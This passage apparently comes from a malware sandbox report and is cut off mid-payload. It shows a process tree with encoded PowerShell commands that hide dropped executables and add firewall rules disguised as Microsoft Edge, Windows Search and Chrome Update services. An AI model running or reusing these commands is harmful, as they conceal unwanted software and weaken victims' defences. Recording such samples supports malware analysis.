AcwBUAG8ASABpAGQAZQAgAD0AIABAACgACgAJACIAJABlAG4AdgA6AFAAUgBPAEcAUgBBAE0ARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIALAAKAAkAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAsAAoAIAAgACAAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAGQASQBsAGgAbwBzAHQALgBlAHgAZQAiACwACgAgACAAIAAgACIAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAXABUAEUATQBQAFwAZABJAGwAaABvAHMAdAAuAGUAeABlACIALAAKAAkAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIALAAKACAAIAAgACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBQAFAARABBAFQAQQBcAEwATwBDAEEATABcAFQARQBNAFAAXABkAGwASQBoAG8AcwB0AC4AZQB4AGUAIgAsAAoAIAAgACAAIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQAbABJAGgAbwBzAHQALgBlAHgAZQAiACwACgAJACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEUAbQBiAGUAZABpAHQALgBlAHgAZQAiACwACgAgACAAIAAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAbQB5AHMAdAAtAGwAYQB1AG4AYwBoAGUAcgAtAGEAbQBkADYANAAuAGUAeABlACIALAAKACAAIAAgACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABtAHkAcwB0AC0AbABhAHUAbgBjAGgAZQByAC0AYQBtAGQANgA0AC4AZQB4AGUAIgAsAAoACQAiACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQBcAFMAaABlAEkAbABFAHgAcABlAHIAaQBlAG4AYwBlAEgAbwBzAHQALgBlAHgAZQAiACwACgAJACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIACgApAAoACgBmAG8AcgBlAGEAYwBoACAAKAAkAGYAaQBsAGUAUABhAHQAaAAgAGkAbgAgACQAYQBkAGQAaQB0AGkAbwBuAGEAbABGAGkAbABlAHMAVABvAEgAaQBkAGUAKQAgAHsACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAAgAC0AUABhAHQAaABUAHkAcABlACAATABlAGEAZgApACAAewAKACAAIAAgACAAIAAgACAAIAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZgBpAGwAZQBQAGEAdABoACkALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKACAAIAAgACAAfQAKAH0ACgAKACQAYQBkAGQAaQB0AGkAbwBuAGEAbABGAG8AbABkAGUAcgBzAFQAbwBIAGkAZABlACAAPQAgAEAAKAAKAAkAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAFAAcgBpAHYAYQB0AGUAIgAsAAoAIAAgACAAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXAAuAG0AeQBzAHQAZQByAGkAdQBtAC0AYgBpAG4AIgAsAAoAIAAgACAAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXAAuAG0AeQBzAHQAZQByAGkAdQBtAC0AbgBvAGQAZQAiAAoAKQAKAAoAZgBvAHIAZQBhAGMAaAAgACgAJABmAGkAbABlAFAAYQB0AGgAIABpAG4AIAAkAGEAZABkAGkAdABpAG8AbgBhAGwARgBvAGwAZABlAHIAcwBUAG8ASABpAGQAZQApACAAewAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZgBpAGwAZQBQAGEAdABoACAALQBQAGEAdABoAFQAeQBwAGUAIABDAG8AbgB0AGEAaQBuAGUAcgApACAAewAKACAAIAAgACAAIAAgACAAIAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZgBpAGwAZQBQAGEAdABoACkALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKACAAIAAgACAAfQAKAH0ACgA=
        7⤵
        Blocklisted process makes network request
        
        PID:2240
        
        C:\Windows\system32\chcp.com
        
        "C:\Windows\system32\chcp.com" 65001
        8⤵
        
        PID:5404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -enc YwBoAGMAcAAgADYANQAwADAAMQAKACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAtAFMAYwBvAHAAZQAgAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBkAGcAZQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBkAGcAZQAiACAALQBHAHIAbwB1AHAAIAAiAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBkAGcAZQAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABJAG4AYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBkAGcAZQAgAEUAVQBMAEEAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAIABFAFUATABBACIAIAAtAEcAcgBvAHUAcAAgACIATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlACAARQBVAEwAQQAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABPAHUAdABiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAUwBlAGEAcgBjAGgAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAUwBlAGEAcgBjAGgAIgAgAC0ARwByAG8AdQBwACAAIgBXAGkAbgBkAG8AdwBzACAAUwBlAGEAcgBjAGgAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABJAGwAaABvAHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAASQBuAGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAUwBlAGEAcgBjAGgAIABTAGUAcgB2AGkAYwBlACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAFMAZQBhAHIAYwBoACAAUwBlAHIAdgBpAGMAZQAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABTAGUAYQByAGMAaAAgAFMAZQByAHYAaQBjAGUAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABJAGwAaABvAHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAQwBoAHIAbwBtAGUAIABVAHAAZABhAHQAZQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAEMAaAByAG8AbQBlACAAVQBwAGQAYQB0AGUAIgAgAC0ARwByAG8AdQBwACAAIgBDAGgAcgBvAG0AZQAgAFUAcABkAGEAdABlACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQASQBsAGgAbwBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAQwBoAHIAbwBtAGUAIABVAHAAZABhAHQAZQAgAFMAZQByAHYAaQBjAGUAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBDAGgAcgBvAG0AZQAgAFUAcABkAGEAdABlACAAUwBlAHIAdgBpAGMAZQAiACAALQBHAHIAbwB1AHAAIAAiAEMAaAByAG8AbQBlACAAVQBwAGQAYQB0AGUAIABTAGUAcgB2AGkAYwBlACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQASQBsAGgAbwBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAE8AdQB0AGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABUAHUAbgBpAG4AZwAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABUAHUAbgBpAG4AZwAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABUAHUAbgBpAG4AZwAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBQAFAARABBAFQAQQBcAEwATwBDAEEATABcAFQARQBNAFAAXABkAGwASQBoAG8AcwB0AC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABJAG4AYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABUAHUAbgBpAG4AZwAgAFMAZQByAHYAaQBjAGUAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAATQBlAGQAaQBhACAAVAB1AG4AaQBuAGcAIABTAGUAcgB2AGkAYwBlACIAIAAtAEcAcgBvAHUAcAAgACIAVwBpAG4AZABvAHcAcwAgAE0AZQBkAGkAYQAgAFQAdQBuAGkAbgBnACAAUwBlAHIAdgBpAGMAZQAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBQAFAARABBAFQAQQBcAEwATwBDAEEATABcAFQARQBNAFAAXABkAGwASQBoAG8AcwB0AC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABPAHUAdABiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAVABlAGwAZQBtAGUAdAByAHkAIABNAGEAbgBhAGcAZQByACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAFQAZQBsAGUAbQBlAHQAcgB5ACAATQBhAG4AYQBnAGUAcgAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABUAGUAbABlAG0AZQB0AHIAeQAgAE0AYQBuAGEAZwBlAHIAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAXABUAEUATQBQAFwAZABsAEkAaABvAHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAASQBuAGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAVABlAGwAZQBtAGUAdAByAHkAIABNAGEAbgBhAGcAZQByACAAUwBlAHIAdgBpAGMAZQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABUAGUAbABlAG0AZQB0AHIAeQAgAE0AYQBuAGEAZwBlAHIAIABTAGUAcgB2AGkAYwBlACIAIAAtAEcAcgBvAHUAcAAgACIAVwBpAG4AZABvAHcAcwAgAFQAZQBsAGUAbQBlAHQAcgB5ACAATQBhAG4AYQBnAGUAcgAgAFMAZQByAHYAaQBjAGUAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAXABUAEUATQBQAFwAZABsAEkAaABvAHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAFMAZQByAHYAaQBjAGUAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAQwByAGUAZABlAG4AdABpAGEAbABzACAAUwBlAHIAdgBpAGMAZQAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABTAGUAcgB2AGkAYwBlACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAG0AeQBzAHQALQBsAGEAdQBuAGMAaABlAHIALQBhAG0AZAA2ADQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAFMAZQByAHYAaQBjAGUAIABNAGEAbgBhAGcAZQByACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAFMAZQByAHYAaQBjAGUAIABNAGEAbgBhAGcAZQByACIAIAAtAEcAcgBvAHUAcAAgACIAVwBpAG4AZABvAHcAcwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAFMAZQByAHYAaQBjAGUAIABNAGEAbgBhAGcAZQByACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAG0AeQBzAHQALQBsAGEAdQBuAGMAaABlAHIALQBhAG0AZAA2ADQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAE8AdQB0AGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABTAHkAbgBjAGgAcgBvAG4AaQB6AGEAdABpAG8AbgAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABTAHkAbgBjAGgAcgBvAG4AaQB6AGEAdABpAG8AbgAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABTAHkAbgBjAGgAcgBvAG4AaQB6AGEAdABpAG8AbgAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABtAHkAcwB0AC0AbABhAHUAbgBjAGgAZQByAC0AYQBtAGQANgA0AC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABJAG4AYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABTAHkAbgBjAGgAcgBvAG4AaQB6AGEAdABpAG8AbgAgAFMAZQByAHYAaQBjAGUAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAATQBlAGQAaQBhACAAUwB5AG4AYwBoAHIAbwBuAGkAegBhAHQAaQBvAG4AIABTAGUAcgB2AGkAYwBlACIAIAAtAEcAcgBvAHUAcAAgACIAVwBpAG4AZABvAHcAcwAgAE0AZQBkAGkAYQAgAFMAeQBuAGMAaAByAG8AbgBpAHoAYQB0AGkAbwBuACAAUwBlAHIAdgBpAGMAZQAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABtAHkAcwB0AC0AbABhAHUAbgBjAGgAZQByAC0AYQBtAGQANgA0AC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABPAHUAdABiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBtAHkAcwB0AF8AbABhAHUAbgBjAGgAZQByAF8AdABjAHAAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBtAHkAcwB0AF8AbABhAHUAbgBjAGgAZQByAF8AdABjAHAAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAC4AbQB5AHMAdABlAHIAaQB1AG0ALQBiAGkAbgBcAG0AeQBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABQAHUAYgBsAGkAYwAgAC0AUAByAG8AdABvAGMAbwBsACAAVABDAFAAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAG0AeQBzAHQAXwBsAGEAdQBuAGMAaABlAHIAXwB1AGQAcAAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAG0AeQBzAHQAXwBsAGEAdQBuAGMAaABlAHIAXwB1AGQAcAAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwALgBtAHkAcwB0AGUAcgBpAHUAbQAtAGIAaQBuAFwAbQB5AHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAASQBuAGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAFAAdQBiAGwAaQBjACAALQBQAHIAbwB0AG8AYwBvAGwAIABVAEQAUAAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBtAHkAcwB0AC4AZQB4AGUAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBtAHkAcwB0AC4AZQB4AGUAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAC4AbQB5AHMAdABlAHIAaQB1AG0ALQBiAGkAbgBcAG0AeQBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABQAHUAYgBsAGkAYwAgAC0AUAByAG8AdABvAGMAbwBsACAAVABDAFAAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAG0AeQBzAHQALgBlAHgAZQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAG0AeQBzAHQALgBlAHgAZQAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwALgBtAHkAcwB0AGUAcgBpAHUAbQAtAGIAaQBuAFwAbQB5AHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAASQBuAGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAFAAdQBiAGwAaQBjACAALQBQAHIAbwB0AG8AYwBvAGwAIABVAEQAUAAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBOAGUAdAB3AG8AcgBrACAARABpAHMAYwBvAHYAZQByAHkAIABTAGUAcgB2AGkAYwBlACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIATgBlAHQAdwBvAHIAawAgAEQAaQBzAGMAbwB2AGUAcgB5ACAAUwBlAHIAdgBpAGMAZQAiACAALQBHAHIAbwB1AHAAIAAiAE4AZQB0AHcAbwByAGsAIABEAGkAcwBjAG8AdgBlAHIAeQAgAFMAZQByAHYAaQBjAGUAIgAgAC0ATABvAGMAYQBsAFAAbwByAHQAIAA4ADAALAAgADQANAAzACwAIAAyADAAMgAwACwAIAAyADQAMAA0ACwAIAAzADMAMwAzACwAIAA0ADQANAA0ACwAIAA1ADUANQA1ACwAIAA0ADQANAA5ACwAIAA0ADAANQAwACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AUAByAG8AdABvAGMAbwBsACAAVABDAFAAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAE4AZQB0AHcAbwByAGsAIABEAGkAcwBjAG8AdgBlAHIAeQAgAEMAbwBuAHQAcgBvAGwAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBOAGUAdAB3AG8AcgBrACAARABpAHMAYwBvAHYAZQByAHkAIABDAG8AbgB0AHIAbwBsACIAIAAtAEcAcgBvAHUAcAAgACIATgBlAHQAdwBvAHIAawAgAEQAaQBzAGMAbwB2AGUAcgB5ACAAQwBvAG4AdAByAG8AbAAiACAALQBMAG8AYwBhAGwAUABvAHIAdAAgADgAMAAsACAANAA0ADMALAAgADIAMAAyADAALAAgADIANAAwADQALAAgADMAMwAzADMALAAgADQANAA0ADQALAAgADUANQA1ADUALAAgADQANAA0ADkALAAgADQAMAA1ADAAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAFAAcgBvAHQAbwBjAG8AbAAgAFQAQwBQACAALQBBAGMAdABpAG